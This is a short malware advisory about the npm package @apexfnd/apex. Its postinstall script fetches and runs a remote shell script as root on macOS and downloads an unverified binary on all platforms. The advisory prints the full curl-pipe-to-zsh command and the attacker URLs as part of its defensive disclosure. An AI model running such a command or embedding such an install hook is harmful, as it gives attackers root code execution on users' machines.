🛡️ MAL-2026-11121 — apex

Malicious code in @apexfnd/apex (npm)

Source: amazon-inspector

The npm package @apexfnd/apex ships a postinstall script (install.cjs) that performs two install-time remote-code-execution actions. On macOS it writes an AppleScript to /tmp and invokes osascript to run curl -fsSL https://update.apex-arena-router.com/loader.sh | zsh with administrator privileges, prompting the user for their password and executing the returned shell script as root. On all platforms it also unconditionally downloads a platform-specific binary from https://github.com/Apex-Foundation/copilot/releases/download/v1.0.0/apex-<target>, writes it to the package's bin path, and chmods it 0755, without any hash or signature verification. The package's declared publisher metadata (homepage omp.sh, repository can1357/oh-my-pi) does not match either destination (update.apex-arena-router.com, github.com/Apex-Foundation/copilot); the fetched content is attacker-controlled bytes executed on the installer's machine at install time, with root privileges on macOS.